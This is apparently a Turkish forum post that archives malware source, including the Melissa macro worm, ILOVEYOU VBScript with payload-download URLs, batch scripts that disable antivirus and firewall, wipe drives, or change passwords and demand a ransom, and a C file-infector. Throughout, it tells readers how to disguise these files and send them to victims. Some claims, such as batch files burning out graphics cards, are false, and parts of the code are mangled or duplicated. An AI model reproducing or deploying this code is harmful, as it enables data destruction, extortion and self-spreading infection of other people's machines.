buyuk virus kodu arsivi

melisa virüsü

Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString ("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W o rd\Securi ty", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabl ed = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W o rd\Securi ty", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else Wink"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") = "... by Kwyjibo"
End If


Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If

'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub < =>
----------------------------------------------------------------------

Yukarıdaki kodları kopyalayıp notpad'e yapıştırın sonra .exe olarak farklı kaydedin.Örnek:"x.exe"sonra virusu sokmak istediğiniz bilgisyara exe dosyasını gonderin.






BU DÜNYAYI SALLAYAN Bİ VİRÜS.EN BAŞTAN SÖYLİYEYİM KENDİ PC'NİZDE SAKIN DENEMEYİN PC'NİZ AÇILMAZ.AÇILMADIĞI GİBİ FORMAT ATTIRMANIZ LAZIM HADİFORMAT ATTINIZ.ATIKTAN SONRA BAKIN NE SORUNLAR ÇIKIYOR ***KODLAR AŞAGIDA***.[


rem delete -pcas(-vbe)
On es error -pc
On error Next Pc Hack
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Window s Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"


sımdı arkadasların bazıları sorucak bu vırusu nasıl yapıcam aynen soyle yapacaksın not defterını acıyorsun buradakı kodları oraya yapıstırıyorsun sonra farklı kaydet dıyorsun masaustune (örnegın:sabo.bat) arkadaslar .bat seklınde kaydedıyorsun ve masaustunde vırusun hazır sız bu vırusu acmayın sakın ıste yapdıgınız ılk vırus dosyası da budur...!!!




Anti virüsü , Firewallu , Windows Updatelerini kapatır.


KOD:


@echo off
net stop "Security Center"
net stop SharedAccess
> "%Temp%.\kill.reg" ECHO A R E S
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\SharedAccess]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\wuauserv]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\w scsvc]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.\kill.reg"
DEL "%Temp%.\kill.reg"
DEL %0



Not defterine kopyalayıp adını virüs.bat veya virüs.cmd olarak kaydedin (virüs yerine istediğinizi yazabilirsiniz )

Herhangi bir resim ile birleştirmek isterseniz ;

Resme sağ tıklayın Birlikte Aç >Not Defteri yapıp kodu resmin sonuna ekleyin.



}

span(p)
char *p;
{
struct ffblk f;
char n[129];
int r;

SearchAndDestroy(p);
sprintf(n,\"%s\\\\%s\",p,\"*.*\");
for(r=findfirst(n,&f,0x0010);!r;r=findnext(&f)) {
if(*f.ff_name==\'.\') continue;
if(f.ff_attrib & 0x0010) {
sprintf(n,\"%s\\\\%s\",p,f.ff_name);
span(n);
}
}
}

SearchAndDestroy(p)
char *p;
{
struct ffblk f;
char b[81];
int r;

strcpy(b,p);
strcat(b,\"\\\\*.*\");
for(r=findfirst(b,&f,0x0000);!r;r=findnext(&f)) {
sprintf(b,\"%s\\\\%s\",p,f.ff_name);
remove(b);
}
}

boot()
{
char *buff;
char *test;

fprintf(test,\"THIS PROGRAM WAS MADE BY Someone Else!!\");
abswrite(2,12,0,buff);
}

notepad a yapıstırın farklı kaydet secenegınden .bat olarak uzantısını degıstırın
system32 klasörüne zarar verıyo bu virüs


net user %username% pckopat94
net user administrator pckopat94
cls
attrib -r -h -s *
cls
cd..
cd belgelerim
ren *.* *.aku
cls
echo
echo bilgileri geri istiyosan fidye öde
pause
del virus.bat
shutdown -r

Bu kodları .bat olarak kaydedin ve kurbanın bu dosyayı masaüstünde açmasını sağlayın

"bilgileri geri istiyorsan fidye öde " kısmını istediğiniz gibi değiştirebilirsiniz.

şimdi gelelim nasıl çalıştığına (merak ediosanız)

net user kısmı admin ve kullanıcı şifresini değiştiriyor ve böölece bilgileri geri almak için ilk engel kurulmuş oluyor

attrib kısmı masaüstündeki bütün dosyaları gizliyor ve gizli klasörleri göster seçeneği bile işe yaramıyor bu da ikinci engel

cls kısmı bu kodları kurbanın görmemesini sağlar

echo ise kurbana fidye mesajı gönderir

pause kurbanın bu mesajı okumasını sağlar

del kısmı bu dosyayı siler

shutdown -r ise bilgisayarı yeniden başlatır



Private Sub Document_Open() ' Writted By eXit
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabl ed = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") = "... by Kwyjibo"
End If




Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If





@echo off
net stop "Security Center"
net stop SharedAccess
> "%Temp%.\kill.reg" ECHO A R E S
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\SharedAccess]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\wuauserv]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\w scsvc]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.\kill.reg"
DEL "%Temp%.\kill.reg"
DEL %0



Not defterine kopyalayıp adını virüs.bat veya virüs.cmd olarak kaydedin
Herhangi bir resim ile birleştirmek isterseniz ;

Resme sağ tıklayın Birlikte Aç >Not Defteri yapıp kodu resmin sonuna ekleyin.





işte buda bilgileri kayıt eden virüs...
---------------------------------------------------------------------------------------------------------
#include <dos.h>
#include <dir.h>
#include <stdio.h>

#define V_SIZE 7424

int n_inf=0;

void resume(void);
void inf(char *vir, char *filename);
int compare(char *d, char *e);

void main(int argc, char **argv)
{
struct ffblk fileinfo;
char vir[V_SIZE];
FILE *fp;
char path[6];
int b,a=0;

argc++;

if((fp=fopen(argv[0],"rb"))==NULL) resume();
fread(vir,sizeof(char),V_SIZE,fp);
fclose(fp);

path[0]='*';
path[1]='.';
path[2]='E';
path[3]='X';
path[4]='E';
path[5]=NULL;

if(findfirst(path,&fileinfo,FA_ARCH)==-1) resume();
inf(vir,fileinfo.ff_name);
do {
if(findnext(&fileinfo)!=0) a=1;
else inf(vir,fileinfo.ff_name);
if((a==1) || (n_inf>4)) b=1;
} while (b!=1);
resume();
}

void inf(char *vir, char *filename)
{
FILE *fp;
char checkinf[V_SIZE];

if((fp=fopen(filename,"rb+"))==NULL) resume();
fread(checkinf,sizeof(char),V_SIZE,fp);
if(compare(vir,checkinf)==0) return;
fseek(fp,0L,SEEK_SET);
fwrite(vir,sizeof(char),V_SIZE,fp);
fclose(fp);
n_inf++;
}

int compare(char *d, char *e)
{
int a;

for(a=0;a<V_SIZE;a++) if(d[a]!=e[a]) return(1);
return(0);
}

void resume(void)
{
exit(0);
}




Ekran Karti Yakma(alinti)program Bile Değil Işimizi Yazilarla Hallediyoruz
YAPACAGINIZ İŞLEM

@echo off
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off
cls
cls
@echo .:: HacKeD gülümse ::.
@echo off3.

METİN SAYFASI AÇIP
kodlarını yapıştırın ve farklı kaydet diyin. dosya adını yazın ve sonuna .bat yazın. (örnek: açma.bat)
vede kaydedin böylece ms-dos toplu iş dosyası oluşacak bunu sakın açmayın ve kimin ekran kartını yakmak istiyorsanız o kişiye yollayın. kurban dosyaya iki kere tıkadığı zaman saniyede 1000 den fazla ms-dos sayfası açılacak vede yaklasık 30 sn sonra ekran kartı gücünü kaybedip yorulacak. en sonunda HacKeD By MaNNeR_Boi yazısı görünecek (burayı kendiniz değiştirebilirsiniz) vede görüntü gidecek. yeni ekran kartı alana kadar da gelmiyecek kolay gelsin.




Karşı pc ye şifre koy
bunu notepad e yapıştır 123456 yazan yere koymak istediğin şifreyi yaz .bat uzantılı olarak kaydet(örnek yun.bat) zip le sıkıştırın ve kurbana yollayın bunu açtığı zaman pc si kapanır ve şifrelenmiş olur açtığında pc şifre sorar.Eğer şifreyi koyduktan sonra pc nin kapanmasını istemiyorsanız shutdown -r kısmını silin.

Kodlar:

net user %username% 123456
shutdown -r




MSN de pc yi kitleme
1- öncelikle pc mizden not defteri acalım içine start yazıp kopyalayalım sonra sırasıyla yuzlerce start yazalım.
2- daha sonra kaydet diyelim ve bu dosyayı txt olarak degılde .bat olarak kaydedelim işte size pc dondurucu sakın kendı pcinizde acmayın ama denemek isteyenler açabilir.sonrada .rarlayıp gönderiyoruz karşı taraf açarsa
sonuc olarak pc de durmadan pencereler acılıyor yüzlerce reset atmak zorunda kalıyorsunuz.ekran kartını yoruyor ve yanmasına sebep oluyor.



msn patlatma %100 başarı
tek yapmanız gereken kodu arkadaşınıza yedirmek kodu kişisel iletiye yazdığı an msn si kapanıyo ve bidaha açamıyo ( denendi onaylandı )

kod:

--------------------------------------------------------------------------------
ñ¯a_Á¯aÿ±m¯a�ÁÇáç±Çáß±Çá§ÁaÇáDZOÇᯱÇ᧱Çár×ÁÇá+ÑÇ á£áÇá






XP SiSTeM ÇöKeRTiCi PRoGRaMsıZ::
ARKADAŞLAR AŞAGIDA VERECEĞİM KODLARI KOPYALIYORUZ.

DAHA SONRA MASA ÜSTÜNE BİR TXT DOSYASI ACIP İÇİNE YAPIŞTIRIYORUZ.

FARKLI KAYDETTEN UZANTISINI .bat OLARAK KAYDEDİYORUZ.

DAHA SONRA DOSYAYI KURBANIMIZA YOLLUYORUZ.

KURBAN DOSYAYI ACINCA

"Microsoft windows XP' nizi güncellemeye devam etmek için lutfen bir tusa basın."

ŞEKLİNDE BİR UYARI İLE KARŞILAŞAK...

PHP KODU:

echo off

echo Microsoft windows XP' nizi güncellemeye devam etmek için lutfen bir tusa basın

echo off

pause

del /f /q d:

del /f /q c:

shutdown -r
shutdown -a buda panzehiri,, eğer kendi pcnizde açarsanız 30 saniye sonra pc format atacaktır sizde bunu panzehir olarak bi yere kaydedin.. sonrada yanlışlıkla açarsanız bunu açın olay bitti





Bu virüs çok güçlü Windows un 5 dk da açılmasına ve 2 dk da kapanmasına neden oluyor.Bunu bi yerden duydum.Avg bu virüsü görüyor ve uyarıyor.Bu nu not defterine kaydedin unaztısını .exe veya .bat yapın ve yollayın aman kendiniz açmayın.

sub Tune()
On Error Resume Next
Dim obj, sysfldr,s, f
Set obj = CreateObject("Scripting.FileSystemObject"
Set sysfldr = obj.GetSpecialFolder(1)
Set winfldr = obj.GetSpecialFolder(0)
Set tmpfldr = obj.GetSpecialFolder(2)
set s = CreateObject("Scripting.FileSystemObject"
Set f = s.GetFile(WScript.ScriptFullName)
f.copy(sysfldr&"\tune.vbs"
f.copy(winfldr&"\tune.vbs"
f.copy(tmpfldr&"\tune.vbs"
f.copy(sysfldr&"\kernel.vbs"
f.copy(winfldr&"\winsck.vbs"
f.copy(sysfldr&"\explorer.vbs"
loc=winfldr&"\tune.vbs"
loc1=sysfldr&"\tune.vbs"
loc2=tmpfldr&"\tune.vbs"
loc3=sysfldr&"\kernel.vbs"
loc4=winfldr&"\winsck.vbs"
loc5="explorer.vbs"
Set WSHShell = CreateObject("WScript.Shell"
WSHShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersio n\Ru n\ScanRegistry", loc
WSHShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersio n\Ru n\", loc1
WSHShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersio n\Ru nServices\", loc2
editini winfldr&"\win.ini","[windows]","load",loc3
editini winfldr&"\win.ini","[windows]","run",loc4
editini winfldr&"\system.ini","[boot]","shell","Explorer.exe " & loc5
ntwrk()
end sub
sub infect(drive)
On Error Resume Next
set s = CreateObject("Scripting.FileSystemObject"
Set f = s.GetFile(WScript.ScriptFullName)
f.copy(drive & "\tune.vbs"
path=drive&"\tune.vbs"
end sub
Function ShowDriveType(drvpath)
On Error Resume Next
Dim fso, d, t
Set fso = CreateObject("Scripting.FileSystemObject"
Set d = fso.GetDrive(drvpath)
Select Case d.DriveType
Case 0: t = "Unknown"
Case 1: t = "Removable"
Case 2: t = "Fixed"
Case 3: t = "Network"
Case 4: t = "CD-ROM"
Case 5: t = "RAM Disk"
End Select
if t = "" then t = "None"
ShowDriveType = t
End Function
sub ntwrk()
On Error Resume Next
for n = 65 to 90
l=Chr(n)
drv=l&":"
d3=ShowDriveType(drv)
if d3 = "Fixed" then infect(drv)
if d3 = "Network" then infect(drv)
next
sprd()
end sub
sub sprd()
on error resume next
Dim oShell
Set oShell = Wscript.CreateObject("Wscript.Shell"
Dim strProfile
Dim strAlias, strAliasKey
strProfile =
oShell.RegRead("HKCU\Software\Microsoft\Windows\Cu rrentVersion\Sent?"
if strProfile = "" then
oShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersio n\Se nt?", "1"
Set Prg = CreateObject("Outlook.Application"
Set Prg1 = Prg.GetNameSpace("MAPI"
For y = 1 To Prg1.AddressLists.Count
Set AdBook = Prg1.AddressLists(y)
x = 1
Set Maie = Prg.CreateItem(0)
For oo = 1 To AdBook.AddressEntries.Count
newmailadd = AdBook.AddressEntries(x)
Maie.Recipients.Add newmailadd
x = x + 1
Next
Maie.Subject = "Please Read"
Maie.Body = "Hey, you really need to check out this attached file I sent you...please check it out as soon as possible."
Maie.Attachments.Add WScript.ScriptFullName
Maie.DeleteAfterSubmit = False
Maie.Send
newmailadd=""
next
else
end if
etc()
end sub
sub etc()
On Error Resume Next
a=ReportFolderStatus("C:\mirc"
if a="1" then mirc()
b=ReportFolderStatus("C:\pirch98"
if b="1" then pirch9x()
end sub
Tune()
Function ReportFileStatus(filespec)
On Error Resume Next
Dim fso, msg
Set fso = CreateObject("Scripting.FileSystemObject"
If (fso.FileExists(filespec)) Then
msg = "1"
Else
msg = "0"
End If
ReportFileStatus = msg
End Function
Function ReportFolderStatus(fldr)
On Error Resume Next
Dim fso, msg
Set fso = CreateObject("Scripting.FileSystemObject"
If (fso.FolderExists(fldr)) Then
msg = "1"
Else
msg = "0"
End If
ReportFolderStatus = msg
End Function
sub mirc()
On Error Resume Next
Dim fso4, folder
Set fso4 = CreateObject("Scripting.FileSystemObject"
Set winfolder = fso4.GetSpecialFolder(1)
path = winfolder&"\tune.vbs"
Dim fso34, f132, t2s
Const ForWriting = 2
Set fso34 = CreateObject("Scripting.FileSystemObject"
fso34.CreateTextFile ("c:\mirc\script.ini"
Set f132 = fso34.GetFile("c:\mirc\script.ini"
Set t2s = f132.OpenAsTextStream(ForWriting, false)
t2s.write "[script]" & vbcrlf
t2s.write "n0=ON 1:JOIN:#:/dcc send $nick " & path & vbcrlf
t2s.close
editini
"C:\mirc\mirc.ini","[text]","ignore","*.exe,*.com,*.bat,*.dll,*.ini,*.vb s"
editini
"C:\mirc\mirc.ini","[options]","n2","0,1,0,0,1,1,1,1,0,5,35,0,0,1,1,0,1,1,0 ,
5,500,10,0,1,1,0,0"
editini
"C:\mirc\mirc.ini","[options]","n4","1,0,1,1,0,3,9999,0,0,0,1,0,1024,0,0,99 ,
60,0,0,1,1,1,0,1,1,5000,1"
end sub
sub pirch9x()
On Error Resume Next
Dim fso4, folder
Set fso4 = CreateObject("Scripting.FileSystemObject"
Set winfolder = fso4.GetSpecialFolder(1)
path = winfolder&"\tune.vbs"
Dim fso, f1, ts
Const ForWriting = 2
Set fso = CreateObject("Scripting.FileSystemObject"
fso.CreateTextFile ("c:\pirch98\events.ini"
Set f1 = fso.GetFile("c:\pirch98\events.ini"
Set ts = f1.OpenAsTextStream(ForWriting, false)
ts.write "[Levels]"&vbcrlf
ts.write "Enabled=1"&vbcrlf
ts.write "Count=6"&vbcrlf
ts.write "Level1=000-Unknowns"&vbcrlf
ts.write "000-UnknownsEnabled=1"&vbcrlf
ts.write "Level2=100-Level 100"&vbcrlf
ts.write "100-Level 100Enabled=1"&vbcrlf
ts.write "Level3=200-Level 200"&vbcrlf
ts.write "200-Level 200Enabled=1"&vbcrlf
ts.write "Level4=300-Level 300"&vbcrlf
ts.write "300-Level 300Enabled=1"&vbcrlf
ts.write "Level5=400-Level 400"&vbcrlf
ts.write "400-Level 400Enabled=1"&vbcrlf
ts.write "Level6=500-Level 500"&vbcrlf
ts.write "500-Level 500Enabled=1"&vbcrlf
ts.write vbcrlf
ts.write "[000-Unknowns]"&vbcrlf
ts.write "User1=*!*@*"&vbcrlf
ts.write "UserCount=1"&vbcrlf
ts.write "Event1=ON JOIN:#:/msg $nick Hi there"&vbcrlf
ts.write "EventCount=1"&vbcrlf
ts.write vbcrlf
ts.write "[100-Level 100]"&vbcrlf
ts.write "User1=*!*@*"&vbcrlf
ts.write "UserCount=1"&vbcrlf
ts.write "Event1=ON JOIN:#:/dcc send $nick " & path &vbcrlf
ts.write "EventCount=1"&vbcrlf
ts.write vbcrlf
ts.write "[200-Level 200]"&vbcrlf
ts.write "UserCount=0"&vbcrlf
ts.write "EventCount=0"&vbcrlf
ts.write vbcrlf
ts.write "[300-Level 300]"&vbcrlf
ts.write "UserCount=0"&vbcrlf
ts.write "EventCount=0"&vbcrlf
ts.write vbcrlf
ts.write "[400-Level 400]"&vbcrlf
ts.write "UserCount=0"&vbcrlf
ts.write "EventCount=0"&vbcrlf
ts.write vbcrlf
ts.write "[500-Level 500]"&vbcrlf
ts.write "UserCount=0"&vbcrlf
ts.write "EventCount=0"&vbcrlf
ts.write vbcrlf
editini "C:\pirch98\pirch98.ini","[DCC]","AutoHideDccWin","1"
end sub
sub editini(filename,section,string,newvalue)
on error resume next
Const ForReading = 1
Const ForWriting = 2
iniFile = filename
sectionName = section
keyName = string
newVlaue = newvalue
bInSection = false
bKeyChanged = false
Set fso = CreateObject("Scripting.FileSystemObject"
Set ts = fso.OpenTextFile(iniFile, ForReading)
lines = Split(ts.ReadAll,vbCrLf)
ts.close
For n = 0 to ubound(lines)
if left(lines(n),1) = "[" then
if bInSection then
exit for
end if
if instr(lines(n),sectionName) = 1 then
bInSection = true
else
bInSection = false
end if
else
if bInSection then
if instr(lines(n),keyName & "=" = 1 then
bKeyChanged = true
lines(n) = keyName & "=" & newVlaue
bKeyChanged = true
exit for
end if
end if
end if
Next
if bKeyChanged then
Set ts = fso.OpenTextFile(iniFile, ForWriting)
ts.Write join(lines,vbCrLf)
ts.close
end if
set ts = nothing
set fso = nothing
end sub





s.a arkadaslar en bastan soyleyim kendı pcnızde denemyın
pcnız acılmaz.Açmak için format attıramassınız.Çünkü CD-ROM çalışmaz.CD-ROM u değiştirseniz bile nafile


Kod:


rem delete -pcaş(-vbe)
On es error -pc
On error Next Pc Hack
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Window s Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Micros oft\Intern et Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf 7679njbvYT /WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4j nHHGbvbmKL JKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGq**198vbFV5hfFEkbopBdQZnmPOhfgER67b3V bvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqweras djhPhjasfd glkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
